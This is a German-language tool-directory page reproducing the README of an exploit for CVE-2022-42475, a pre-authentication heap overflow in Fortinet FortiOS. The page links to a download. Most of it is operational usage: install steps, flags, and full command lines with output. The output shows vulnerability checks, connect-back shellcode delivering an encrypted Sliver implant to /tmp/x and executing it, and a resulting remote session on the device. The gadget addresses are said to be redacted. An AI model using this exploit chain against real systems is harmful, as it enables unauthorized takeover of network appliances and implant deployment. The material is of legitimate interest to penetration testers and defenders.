Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42475 — Ein Exploit für CVE-2022-42475, ein Heap-Overflow vor der Authentifizierung in Fortinet-Netzwerkprodukten | Kitploit
Tools/GitHubGitHub/0xhaggis/cve-2022-42475
SchwachstellenanalyseExploitationRed TeamingRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

Ein Exploit für CVE-2022-42475, ein Heap-Overflow vor der Authentifizierung in Fortinet-Netzwerkprodukten

Repository anzeigen
331vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-42475

Hintergrund

Dies ist der Exploit für den Blogbeitrag hier: https://bishopfox.com/blog/exploit-cve-2022-42475

Redigierte Version

Diese Version des Exploits wird ohne Ihre Bereitstellung der erforderlichen Speicheradressen für ROP-Gadgets usw. nicht funktionieren. Die Arbeit zur Bestimmung dieser Daten ist vertraulich und Eigentum von Bishop Fox, und ich werde sie (kann sie nicht) zusammen mit diesem Exploit veröffentlichen. Ich vertraue darauf, dass Sie das verstehen!

Betriebsmodi

  • Nur Validierung, kein Exploit. Stellt fest, ob anfällig. Kein Payload, kein Shellcode.
  • Exploit, aber nur verifizieren. Führt harmlosen Connect-Back-„Ping“-Shellcode aus, um zu überprüfen, ob das Ziel ausnutzbar ist.
  • Exploit mit Connect-Back-Binary-Stager. Der Shellcode verbindet sich zurück zum Exploit, lädt eine verschlüsselte, vom Operator bereitgestellte Binärdatei herunter (typischerweise https://gitub.com/BishopFox/Sliver), entschlüsselt die Binärdatei und ruft dann execve(binary_file) auf.

Hinweis: Derzeit funktioniert der Modus „Nur validieren“ mit allen bekannten Versionen von FortiOS. Exploits funktionieren jedoch nur gegen FortiOS 6.0.4 auf 100D-Hardware. Ich arbeite nicht mehr bei BF und kann daher den erweiterten Exploit, der etwa 18k Ziele unterstützt, nicht veröffentlichen.

Voraussetzungen

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Nur validieren

Dies wird keinen Versuch unternehmen, den Fehler auszunutzen, sondern löst ihn stattdessen als Absturz aus (der entfernte SSL-VPN-Daemon startet automatisch und sofort neu). Der Absturz wird heuristisch erkannt und dem Operator gemeldet.

Führen Sie es mit dem Validierungsflag -v aus:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, aber validieren (Funktion derzeit nur für FortiOS 6.0.4 auf 100D-Geräten verfügbar)

Dies wird den Fehler auslösen, eine ROP-Kette bereitstellen und zum Shellcode springen. Der Shellcode ist harmlos und funktioniert wie folgt:

  • Exploit verbindet sich mit dem Ziel und löst die Schwachstelle aus, um Shellcode auszuführen
  • Shellcode verbindet sich zurück zur IP:Port des Operators
  • Shellcode sendet ein einzelnes „Hallo“-Byte an den Exploit: 0xbf
  • Exploit liefert eine kleine verschlüsselte Test-Payload an den Shellcode (AES-Schlüssel ist bei jedem Durchlauf zufällig)
  • Shellcode entschlüsselt die Payload und speichert sie auf dem FortiGate-Gerät unter /tmp/x
  • Shellcode sendet ein weiteres einzelnes 0xbf-Byte an den Exploit, wenn die Payload-Entschlüsselung erfolgreich war
  • Exploit liest das Byte und bestätigt die Codeausführung.

Flags:

root@kitploit:~
-t           Ziel-Host/IP
-p           Ziel-Port
-e           Exploit-Modus
-c           Nur Connect-Back-Modus
-H und -P    IP:Port des Operators (erforderlich)
-s           Softwareversion von FortiOS (erforderlich)
-m           Hardware-Modell, auf dem FortiOS läuft
-d           Debugging einschalten

Ein Beispiel, bei dem wir sowohl die Softwareversion 6.0.4 als auch das Gerätemodell 100D auswählen:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Wenn Sie -m zur Auswahl eines Hardwaremodells weglassen, wird der Exploit alle Hardwareziele für die angegebene Softwareversion durch Brute-Force ermitteln.

Globaler thermonuklearer Krieg

  • Operator gibt den Speicherort einer Sliver-Implant-Binärdatei (Linux-basiert) an
  • Exploit verbindet sich mit dem Ziel und löst die Schwachstelle aus, um Shellcode auszuführen
  • Shellcode verbindet sich zurück zur IP:Port des Operators
  • Shellcode sendet ein einzelnes „Hallo“-Byte an den Exploit: 0xbf
  • Exploit verschlüsselt die Sliver-Binärdatei und sendet sie an den Shellcode
  • Shellcode entschlüsselt die Binärdatei und speichert sie unter /tmp/x
  • Shellcode sendet ein „Erfolg“-Byte 0xbf an den Exploit
  • Exploit liest das Byte und bestätigt die Codeausführung
  • Shellcode ruft execve("/tmp/x") auf
  • ???
  • Profit!

Flags:

root@kitploit:~
-t           Ziel-Host/IP
-p           Ziel-Port
-e           Exploit-Modus
-f Dateiname /pfad/zu/binary/execve/auf/dem/ziel
-H und -P    IP:Port des Operators für Connect-Back (erforderlich)
-s           Softwareversion von FortiOS (erforderlich)
-m           Hardware-Modell, auf dem FortiOS läuft
-d           Debugging einschalten

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Und zurück in Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Beachten Sie, dass Sliver <err> zurückgibt, weil FortiOS irgendwie größtenteils Linux ist und nicht immer so funktioniert, wie man es erwarten würde. Dies ist ein Problem von FortiOS, nicht von Sliver.

Weitere Versionen in Kürze

Ich arbeite nicht mehr bei Bishop Fox, daher müssen Sie dem BF-GitHub für Updates zu diesem Thema folgen.

Tool herunterladen